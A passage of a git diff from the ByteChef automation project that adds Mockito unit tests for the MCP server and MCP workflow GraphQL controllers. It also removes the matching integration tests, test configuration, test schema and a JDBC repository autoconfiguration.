+        McpProjectWorkflow result = mcpProjectWorkflowGraphQlController.createMcpProjectWorkflow(input);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(1L, result.getMcpProjectId());
+        assertEquals(123L, result.getProjectDeploymentWorkflowId());
+        verify(mcpProjectWorkflowService).create(1L, 123L);
+    }
+
+    @Test
+    void testUpdateMcpProjectWorkflow() {
+        // Given
+        Long workflowId = 1L;
+        Map<String, Object> input = Map.of(
+            "mcpProjectId", "2",
+            "projectDeploymentWorkflowId", "456");
+        McpProjectWorkflow mockWorkflow = createMockMcpProjectWorkflow(workflowId, 2L, 456L);
+
+        when(mcpProjectWorkflowService.update(anyLong(), anyLong(), anyLong())).thenReturn(mockWorkflow);
+
+        // When
+        McpProjectWorkflow result = mcpProjectWorkflowGraphQlController.updateMcpProjectWorkflow(workflowId, input);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2L, result.getMcpProjectId());
+        assertEquals(456L, result.getProjectDeploymentWorkflowId());
+        verify(mcpProjectWorkflowService).update(workflowId, 2L, 456L);
+    }
+
+    @Test
+    void testUpdateMcpProjectWorkflowPartialUpdate() {
+        // Given
+        Long workflowId = 1L;
+        Map<String, Object> input = Map.of(
+            "mcpProjectId", "2"
+        // projectDeploymentWorkflowId is not provided
+        );
+        McpProjectWorkflow mockWorkflow = createMockMcpProjectWorkflow(workflowId, 2L, 123L);
+
+        when(mcpProjectWorkflowService.update(eq(workflowId), eq(2L), eq(null))).thenReturn(mockWorkflow);
+
+        // When
+        McpProjectWorkflow result = mcpProjectWorkflowGraphQlController.updateMcpProjectWorkflow(workflowId, input);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2L, result.getMcpProjectId());
+        verify(mcpProjectWorkflowService).update(workflowId, 2L, null);
+    }
+
+    @Test
+    void testDeleteMcpProjectWorkflow() {
+        // Given
+        Long workflowId = 1L;
+
+        // When
+        boolean result = mcpProjectWorkflowGraphQlController.deleteMcpProjectWorkflow(workflowId);
+
+        // Then
+        assertTrue(result);
+        verify(mcpProjectWorkflowService).delete(workflowId);
+    }
+
+    private McpProjectWorkflow createMockMcpProjectWorkflow(
+        Long id, Long mcpProjectId, Long projectDeploymentWorkflowId) {
+
+        McpProjectWorkflow workflow = new McpProjectWorkflow(mcpProjectId, projectDeploymentWorkflowId);
+
+        workflow.setId(id);
+        workflow.setVersion(1);
+
+        return workflow;
+    }
+}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/WorkspaceMcpServerGraphQlControllerIntTest.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/WorkspaceMcpServerGraphQlControllerIntTest.java
deleted file mode 100644
index b3a5a2084bd..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/WorkspaceMcpServerGraphQlControllerIntTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.mcp.web.graphql;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.ArgumentMatchers.isNull;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.automation.mcp.facade.WorkspaceMcpServerFacade;
-import com.bytechef.automation.mcp.web.graphql.config.AutomationMcpGraphQlConfigurationSharedMocks;
-import com.bytechef.automation.mcp.web.graphql.config.AutomationMcpGraphQlTestConfiguration;
-import com.bytechef.platform.configuration.domain.Environment;
-import com.bytechef.platform.constant.PlatformType;
-import com.bytechef.platform.mcp.domain.McpServer;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.graphql.test.autoconfigure.GraphQlTest;
-import org.springframework.graphql.test.tester.GraphQlTester;
-import org.springframework.test.context.ContextConfiguration;
-
-/**
- * Integration tests for {@link WorkspaceMcpServerGraphQlController}.
- *
- * @author Ivica Cardic
- */
-@ContextConfiguration(classes = {
-    AutomationMcpGraphQlTestConfiguration.class,
-    WorkspaceMcpServerGraphQlController.class
-})
-@GraphQlTest(
-    controllers = WorkspaceMcpServerGraphQlController.class,
-    properties = {
-        "bytechef.coordinator.enabled=true",
-        "spring.graphql.schema.locations=classpath:graphql/"
-    })
-@AutomationMcpGraphQlConfigurationSharedMocks
-class WorkspaceMcpServerGraphQlControllerIntTest {
-
-    @Autowired
-    private GraphQlTester graphQlTester;
-
-    @Autowired
-    private WorkspaceMcpServerFacade workspaceMcpServerFacade;
-
-    @Test
-    void testGetWorkspaceMcpServers() {
-        // Given
-        Long workspaceId = 1L;
-        List<McpServer> expectedServers = List.of(
-            createMockMcpServer(100L, "Server 1"),
-            createMockMcpServer(200L, "Server 2"));
-
-        when(workspaceMcpServerFacade.getWorkspaceMcpServers(workspaceId)).thenReturn(expectedServers);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                query {
-                    workspaceMcpServers(workspaceId: "1") {
-                        id
-                        name
-                        type
-                        enabled
-                    }
-                }
-                """)
-            .execute()
-            .path("workspaceMcpServers")
-            .entityList(Object.class)
-            .hasSize(2);
-
-        verify(workspaceMcpServerFacade).getWorkspaceMcpServers(workspaceId);
-    }
-
-    @Test
-    void testCreateWorkspaceMcpServer() {
-        // Given
-        String name = "Test Server";
-        PlatformType type = PlatformType.AUTOMATION;
-        Environment environment = Environment.DEVELOPMENT;
-        Boolean enabled = true;
-        Long workspaceId = 1L;
-
-        McpServer createdServer = createMockMcpServer(100L, name);
-
-        when(workspaceMcpServerFacade.createWorkspaceMcpServer(name, type, environment, enabled, workspaceId))
-            .thenReturn(createdServer);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createWorkspaceMcpServer(input: {
-                        name: "Test Server",
-                        type: AUTOMATION,
-                        environmentId: "0",
-                        enabled: true,
-                        workspaceId: "1"
-                    }) {
-                        id
-                        name
-                        type
-                        enabled
-                    }
-                }
-                """)
-            .execute()
-            .path("createWorkspaceMcpServer.id")
-            .entity(String.class)
-            .isEqualTo("100")
-            .path("createWorkspaceMcpServer.name")
-            .entity(String.class)
-            .isEqualTo("Test Server");
-
-        verify(workspaceMcpServerFacade).createWorkspaceMcpServer(name, type, environment, enabled, workspaceId);
-    }
-
-    @Test
-    void testCreateWorkspaceMcpServerWithNullEnabled() {
-        // Given
-        McpServer createdServer = createMockMcpServer(200L, "Test Server");
-
-        when(workspaceMcpServerFacade.createWorkspaceMcpServer(
-            anyString(), any(PlatformType.class), any(Environment.class), isNull(), anyLong()))
-                .thenReturn(createdServer);
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    createWorkspaceMcpServer(input: {
-                        name: "Test Server",
-                        type: AUTOMATION,
-                        environmentId: "1",
-                        workspaceId: "2"
-                    }) {
-                        id
-                        name
-                    }
-                }
-                """)
-            .execute()
-            .path("createWorkspaceMcpServer.id")
-            .entity(String.class)
-            .isEqualTo("200")
-            .path("createWorkspaceMcpServer.name")
-            .entity(String.class)
-            .isEqualTo("Test Server");
-
-        verify(workspaceMcpServerFacade).createWorkspaceMcpServer(
-            anyString(), any(PlatformType.class), any(Environment.class), isNull(), anyLong());
-    }
-
-    @Test
-    void testDeleteWorkspaceMcpServer() {
-        // Given
-        Long mcpServerId = 100L;
-
-        // When & Then
-        this.graphQlTester
-            .document("""
-                mutation {
-                    deleteWorkspaceMcpServer(mcpServerId: "100")
-                }
-                """)
-            .execute()
-            .path("deleteWorkspaceMcpServer")
-            .entity(Boolean.class)
-            .isEqualTo(true);
-
-        verify(workspaceMcpServerFacade).deleteWorkspaceMcpServer(mcpServerId);
-    }
-
-    private McpServer createMockMcpServer(Long id, String name) {
-        McpServer mcpServer = new McpServer(name, PlatformType.AUTOMATION, Environment.DEVELOPMENT);
-
-        mcpServer.setId(id);
-
-        return mcpServer;
-    }
-}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/WorkspaceMcpServerGraphQlControllerTest.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/WorkspaceMcpServerGraphQlControllerTest.java
new file mode 100644
index 00000000000..af9ab035735
--- /dev/null
+++ b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/WorkspaceMcpServerGraphQlControllerTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.automation.mcp.web.graphql;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import com.bytechef.automation.mcp.facade.WorkspaceMcpServerFacade;
+import com.bytechef.automation.mcp.web.graphql.WorkspaceMcpServerGraphQlController.CreateWorkspaceMcpServerInput;
+import com.bytechef.platform.configuration.domain.Environment;
+import com.bytechef.platform.constant.PlatformType;
+import com.bytechef.platform.mcp.domain.McpServer;
+import java.util.Arrays;
+import java.util.List;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.InjectMocks;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+/**
+ * Unit tests for {@link WorkspaceMcpServerGraphQlController}.
+ *
+ * @author Ivica Cardic
+ */
+@ExtendWith(MockitoExtension.class)
+class WorkspaceMcpServerGraphQlControllerTest {
+
+    @Mock
+    private WorkspaceMcpServerFacade workspaceMcpServerFacade;
+
+    @InjectMocks
+    private WorkspaceMcpServerGraphQlController workspaceMcpServerGraphQlController;
+
+    @Test
+    void testMcpServersByWorkspace() {
+        // Given
+        Long workspaceId = 1L;
+        McpServer mcpServer1 = createMockMcpServer(100L, "Server 1");
+        McpServer mcpServer2 = createMockMcpServer(200L, "Server 2");
+        List<McpServer> expectedServers = Arrays.asList(mcpServer1, mcpServer2);
+
+        when(workspaceMcpServerFacade.getWorkspaceMcpServers(workspaceId))
+            .thenReturn(expectedServers);
+
+        // When
+        List<McpServer> result = workspaceMcpServerGraphQlController.workspaceMcpServers(workspaceId);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(2, result.size());
+        assertEquals("Server 1", result.get(0)
+            .getName());
+        assertEquals("Server 2", result.get(1)
+            .getName());
+        assertEquals(expectedServers, result);
+
+        verify(workspaceMcpServerFacade).getWorkspaceMcpServers(workspaceId);
+    }
+
+    @Test
+    void testCreateMcpServerForWorkspace() {
+        // Given
+        String name = "Test Server";
+        PlatformType type = PlatformType.AUTOMATION;
+        long environmentId = Environment.DEVELOPMENT.ordinal();
+        Boolean enabled = true;
+        Long workspaceId = 1L;
+
+        CreateWorkspaceMcpServerInput input = new CreateWorkspaceMcpServerInput(
+            name, type, environmentId, enabled, workspaceId);
+
+        McpServer createdServer = createMockMcpServer(100L, name);
+
+        when(workspaceMcpServerFacade
+            .createWorkspaceMcpServer(name, type, Environment.DEVELOPMENT, enabled, workspaceId))
+                .thenReturn(createdServer);
+
+        // When
+        McpServer result = workspaceMcpServerGraphQlController.createWorkspaceMcpServer(input);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(createdServer, result);
+        assertEquals(name, result.getName());
+        assertEquals(100L, result.getId());
+
+        verify(workspaceMcpServerFacade).createWorkspaceMcpServer(
+            name, type, Environment.DEVELOPMENT, enabled, workspaceId);
+    }
+
+    @Test
+    void testCreateMcpServerForWorkspaceWithNullEnabled() {
+        // Given
+        String name = "Test Server";
+        PlatformType type = PlatformType.AUTOMATION;
+        long environmentId = Environment.PRODUCTION.ordinal();
+        Boolean enabled = null;
+        Long workspaceId = 2L;
+
+        CreateWorkspaceMcpServerInput input = new CreateWorkspaceMcpServerInput(
+            name, type, environmentId, enabled, workspaceId);
+
+        McpServer createdServer = createMockMcpServer(200L, name);
+
+        when(workspaceMcpServerFacade
+            .createWorkspaceMcpServer(name, type, Environment.PRODUCTION, enabled, workspaceId))
+                .thenReturn(createdServer);
+
+        // When
+        McpServer result = workspaceMcpServerGraphQlController.createWorkspaceMcpServer(input);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(createdServer, result);
+        assertEquals(name, result.getName());
+        assertEquals(200L, result.getId());
+
+        verify(workspaceMcpServerFacade).createWorkspaceMcpServer(
+            name, type, Environment.PRODUCTION, enabled, workspaceId);
+    }
+
+    @Test
+    void testCreateMcpServerForWorkspaceWithEmbeddedType() {
+        // Given
+        String name = "Embedded Server";
+        PlatformType type = PlatformType.EMBEDDED;
+        long environmentId = Environment.DEVELOPMENT.ordinal();
+        Boolean enabled = false;
+        Long workspaceId = 3L;
+
+        CreateWorkspaceMcpServerInput input = new CreateWorkspaceMcpServerInput(
+            name, type, environmentId, enabled, workspaceId);
+
+        McpServer createdServer = createMockMcpServer(300L, name);
+
+        when(workspaceMcpServerFacade.createWorkspaceMcpServer(
+            name, type, Environment.DEVELOPMENT, enabled, workspaceId))
+                .thenReturn(createdServer);
+
+        // When
+        McpServer result = workspaceMcpServerGraphQlController.createWorkspaceMcpServer(input);
+
+        // Then
+        assertNotNull(result);
+        assertEquals(createdServer, result);
+        assertEquals(name, result.getName());
+
+        verify(workspaceMcpServerFacade).createWorkspaceMcpServer(
+            name, type, Environment.DEVELOPMENT, enabled, workspaceId);
+    }
+
+    @Test
+    void testDeleteWorkspaceMcpServer() {
+        // Given
+        Long mcpServerId = 100L;
+
+        // When
+        boolean result = workspaceMcpServerGraphQlController.deleteWorkspaceMcpServer(mcpServerId);
+
+        // Then
+        assertTrue(result);
+        verify(workspaceMcpServerFacade).deleteWorkspaceMcpServer(mcpServerId);
+    }
+
+    @Test
+    void testCreateMcpServerForWorkspaceInputRecord() {
+        // Given
+        String name = "Test Server";
+        PlatformType type = PlatformType.AUTOMATION;
+        long environmentId = 0L;
+        Boolean enabled = true;
+        Long workspaceId = 1L;
+
+        // When
+        CreateWorkspaceMcpServerInput input = new CreateWorkspaceMcpServerInput(
+            name, type, environmentId, enabled, workspaceId);
+
+        // Then
+        assertEquals(name, input.name());
+        assertEquals(type, input.type());
+        assertEquals(environmentId, input.environmentId());
+        assertEquals(enabled, input.enabled());
+        assertEquals(workspaceId, input.workspaceId());
+    }
+
+    private McpServer createMockMcpServer(Long id, String name) {
+        McpServer mcpServer = new McpServer(name, PlatformType.AUTOMATION, Environment.DEVELOPMENT);
+
+        mcpServer.setId(id);
+
+        return mcpServer;
+    }
+}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/config/AutomationMcpGraphQlConfigurationSharedMocks.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/config/AutomationMcpGraphQlConfigurationSharedMocks.java
deleted file mode 100644
index 164152038ed..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/config/AutomationMcpGraphQlConfigurationSharedMocks.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.mcp.web.graphql.config;
-
-import com.bytechef.atlas.configuration.service.WorkflowService;
-import com.bytechef.automation.configuration.service.ProjectDeploymentService;
-import com.bytechef.automation.configuration.service.ProjectDeploymentWorkflowService;
-import com.bytechef.automation.configuration.service.ProjectService;
-import com.bytechef.automation.mcp.facade.McpProjectFacade;
-import com.bytechef.automation.mcp.facade.WorkspaceMcpServerFacade;
-import com.bytechef.automation.mcp.service.McpProjectService;
-import com.bytechef.automation.mcp.service.McpProjectWorkflowService;
-import com.bytechef.config.ApplicationProperties;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-
-/**
- * @author Ivica Cardic
- */
-@Target(ElementType.TYPE)
-@Retention(RetentionPolicy.RUNTIME)
-@MockitoBean(types = {
-    ApplicationProperties.class, McpProjectFacade.class, McpProjectService.class,
-    McpProjectWorkflowService.class, ProjectDeploymentService.class, ProjectDeploymentWorkflowService.class,
-    ProjectService.class, WorkflowService.class, WorkspaceMcpServerFacade.class
-})
-public @interface AutomationMcpGraphQlConfigurationSharedMocks {
-}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/config/AutomationMcpGraphQlTestConfiguration.java b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/config/AutomationMcpGraphQlTestConfiguration.java
deleted file mode 100644
index 945d48ab3a2..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/java/com/bytechef/automation/mcp/web/graphql/config/AutomationMcpGraphQlTestConfiguration.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.mcp.web.graphql.config;
-
-import com.bytechef.atlas.configuration.service.WorkflowService;
-import com.bytechef.automation.configuration.service.ProjectDeploymentService;
-import com.bytechef.automation.configuration.service.ProjectDeploymentWorkflowService;
-import com.bytechef.automation.configuration.service.ProjectService;
-import com.bytechef.automation.mcp.facade.McpProjectFacade;
-import com.bytechef.automation.mcp.facade.WorkspaceMcpServerFacade;
-import com.bytechef.automation.mcp.service.McpProjectService;
-import com.bytechef.automation.mcp.service.McpProjectWorkflowService;
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.test.config.graphql.GraphQLScalarTypes;
-import org.mockito.Mockito;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.Primary;
-import org.springframework.graphql.execution.RuntimeWiringConfigurer;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-public class AutomationMcpGraphQlTestConfiguration {
-
-    @Bean
-    @Primary
-    public ApplicationProperties applicationProperties() {
-        ApplicationProperties properties = Mockito.mock(ApplicationProperties.class);
-
-        Mockito.when(properties.getPublicUrl())
-            .thenReturn("http://localhost:8080");
-
-        return properties;
-    }
-
-    @Bean
-    @Primary
-    public McpProjectFacade mcpProjectFacade() {
-        return Mockito.mock(McpProjectFacade.class);
-    }
-
-    @Bean
-    @Primary
-    public McpProjectService mcpProjectService() {
-        return Mockito.mock(McpProjectService.class);
-    }
-
-    @Bean
-    @Primary
-    public McpProjectWorkflowService mcpProjectWorkflowService() {
-        return Mockito.mock(McpProjectWorkflowService.class);
-    }
-
-    @Bean
-    @Primary
-    public ProjectDeploymentService projectDeploymentService() {
-        return Mockito.mock(ProjectDeploymentService.class);
-    }
-
-    @Bean
-    @Primary
-    public ProjectDeploymentWorkflowService projectDeploymentWorkflowService() {
-        return Mockito.mock(ProjectDeploymentWorkflowService.class);
-    }
-
-    @Bean
-    @Primary
-    public ProjectService projectService() {
-        return Mockito.mock(ProjectService.class);
-    }
-
-    @Bean
-    @Primary
-    public WorkflowService workflowService() {
-        return Mockito.mock(WorkflowService.class);
-    }
-
-    @Bean
-    @Primary
-    public WorkspaceMcpServerFacade workspaceMcpServerFacade() {
-        return Mockito.mock(WorkspaceMcpServerFacade.class);
-    }
-
-    @Bean
-    RuntimeWiringConfigurer longScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.longScalar());
-    }
-
-    @Bean
-    RuntimeWiringConfigurer mapScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.mapScalar());
-    }
-}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/resources/graphql/test.graphqls b/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/resources/graphql/test.graphqls
deleted file mode 100644
index a74b015e9bc..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-graphql/src/test/resources/graphql/test.graphqls
+++ /dev/null
@@ -1,128 +0,0 @@
-# Test-only GraphQL schema for automation-mcp GraphQL slice tests.
-# Contains all types, queries, and mutations needed by the integration tests.
-
-# Custom scalars
-scalar Long
-scalar Map
-
-# Enums
-enum PlatformType {
-    AUTOMATION
-    EMBEDDED
-}
-
-# Base Query type with all query fields
-type Query {
-    # WorkspaceMcpServer queries
-    workspaceMcpServers(workspaceId: ID!): [McpServer]
-
-    # McpProject queries
-    mcpProject(id: ID): McpProject
-    mcpProjects: [McpProject]
-    mcpProjectsByServerId(mcpServerId: ID): [McpProject]
-
-    # McpProjectWorkflow queries
-    mcpProjectWorkflow(id: ID): McpProjectWorkflow
-    mcpProjectWorkflows: [McpProjectWorkflow]
-    mcpProjectWorkflowsByMcpProjectId(mcpProjectId: ID): [McpProjectWorkflow]
-    mcpProjectWorkflowsByProjectDeploymentWorkflowId(projectDeploymentWorkflowId: ID): [McpProjectWorkflow]
-}
-
-# Base Mutation type with all mutation fields
-type Mutation {
-    # WorkspaceMcpServer mutations
-    createWorkspaceMcpServer(input: CreateWorkspaceMcpServerInput!): McpServer
-    deleteWorkspaceMcpServer(mcpServerId: ID!): Boolean
-
-    # McpProject mutations
-    createMcpProject(input: CreateMcpProjectInput!): McpProject
-    deleteMcpProject(id: ID!): Boolean
-
-    # McpProjectWorkflow mutations
-    createMcpProjectWorkflow(input: McpProjectWorkflowInput!): McpProjectWorkflow
-    updateMcpProjectWorkflow(id: ID!, input: McpProjectWorkflowUpdateInput!): McpProjectWorkflow
-    deleteMcpProjectWorkflow(id: ID!): Boolean
-}
-
-# Input types
-input CreateWorkspaceMcpServerInput {
-    name: String!
-    type: PlatformType!
-    environmentId: ID!
-    enabled: Boolean
-    workspaceId: ID!
-}
-
-input CreateMcpProjectInput {
-    mcpServerId: ID!
-    projectId: ID!
-    projectVersion: Int!
-    selectedWorkflowIds: [String!]!
-}
-
-input McpProjectWorkflowInput {
-    mcpProjectId: Long!
-    projectDeploymentWorkflowId: Long!
-}
-
-input McpProjectWorkflowUpdateInput {
-    mcpProjectId: Long
-    projectDeploymentWorkflowId: Long
-}
-
-# Main types
-type McpServer {
-    id: ID!
-    name: String
-    type: PlatformType
-    enabled: Boolean
-    secretKey: String
-    createdBy: String
-    createdDate: Long
-    lastModifiedBy: String
-    lastModifiedDate: Long
-    version: Int
-}
-
-type McpProject {
-    id: ID!
-    projectDeploymentId: ID!
-    mcpServerId: ID!
-    mcpProjectWorkflows: [McpProjectWorkflow]
-    project: Project
-    projectVersion: Int
-    createdBy: String
-    createdDate: Long
-    lastModifiedBy: String
-    lastModifiedDate: Long
-    version: Int
-}
-
-type McpProjectWorkflow {
-    id: ID!
-    mcpProjectId: Long!
-    projectDeploymentWorkflowId: Long!
-    projectDeploymentWorkflow: ProjectDeploymentWorkflow
-    workflow: Workflow
-    createdBy: String
-    createdDate: Long
-    lastModifiedBy: String
-    lastModifiedDate: Long
-    version: Int
-}
-
-# Referenced type stubs
-type Project {
-    id: ID
-    name: String
-}
-
-type ProjectDeploymentWorkflow {
-    id: ID
-    workflowId: String
-}
-
-type Workflow {
-    id: ID
-    label: String
-}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-service/src/main/java/com/bytechef/automation/mcp/config/AutomationMcpJdbcRepositoryConfiguration.java b/server/libs/automation/automation-mcp/automation-mcp-service/src/main/java/com/bytechef/automation/mcp/config/AutomationMcpJdbcRepositoryConfiguration.java
deleted file mode 100644
index 524d607d0d5..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-service/src/main/java/com/bytechef/automation/mcp/config/AutomationMcpJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.mcp.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.automation.mcp.repository")
-class AutomationMcpJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/automation/automation-mcp/automation-mcp-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/automation/automation-mcp/automation-mcp-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index b084bc1b726..00000000000
--- a/server/libs/automation/automation-mcp/automation-mcp-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.automation.mcp.config.AutomationMcpJdbcRepositoryConfiguration
diff --git a/server/libs/automation/automation-mcp/automation-mcp-service/src/test/java/com/bytechef/automation/mcp/config/McpProjectIntTestConfiguration.java b/server/libs/automation/automation-mcp/automation-mcp-service/src/test/java/com/bytechef/automation/mcp/config/McpProjectIntTestConfiguration.java
index f2eb8a82887..a0af5e5c2b0 100644
--- a/server/libs/automation/automation-mcp/automation-mcp-service/src/test/java/com/bytechef/automation/mcp/config/McpProjectIntTestConfiguration.java
+++ b/server/libs/automation/automation-mcp/automation-mcp-service/src/test/java/com/bytechef/automation/mcp/config/McpProjectIntTestConfiguration.java
@@ -43,11 +43,9 @@
 import org.springframework.cache.annotation.EnableCaching;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.ComponentScan;
-import org.springframework.context.annotation.ComponentScan.Filter;
 import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.FilterType;
 import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 import tools.jackson.databind.ObjectMapper;
 
 /**
@@ -55,14 +53,11 @@
  */
 @ComponentScan(
     basePackages = {
-        "com.bytechef.automation.configuration",
+        "com.bytechef.atlas.configuration.repository.jdbc", "com.bytechef.automation.configuration",
         "com.bytechef.automation.mcp", "com.bytechef.commons.util", "com.bytechef.jackson.config",
         "com.bytechef.platform.category", "com.bytechef.platform.connection", "com.bytechef.platform.mcp",
         "com.bytechef.platform.tag"
-    },
-    excludeFilters = @Filter(
-        type = FilterType.REGEX,
-        pattern = "com\\.bytechef\\.automation\\.configuration\\.facade\\.AutomationSearchFacadeImpl"))
+    })
 @EnableAutoConfiguration
 @EnableCaching
 @EnableConfigurationProperties(ApplicationProperties.class)
@@ -94,7 +89,13 @@ WorkflowService workflowService(
         return new WorkflowServiceImpl(cacheManager, workflowCrudRepositories, workflowRepositories);
     }
 
-    @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+    @EnableJdbcRepositories(
+        basePackages = {
+            "com.bytechef.atlas.configuration.repository.jdbc", "com.bytechef.platform.category.repository",
+            "com.bytechef.automation.configuration.repository", "com.bytechef.automation.mcp.repository",
+            "com.bytechef.platform.tag.repository", "com.bytechef.platform.configuration.repository",
+            "com.bytechef.platform.mcp.repository"
+        })
     public static class McpProjectIntTestJdbcConfiguration extends AbstractIntTestJdbcConfiguration {
 
         private final ObjectMapper objectMapper;
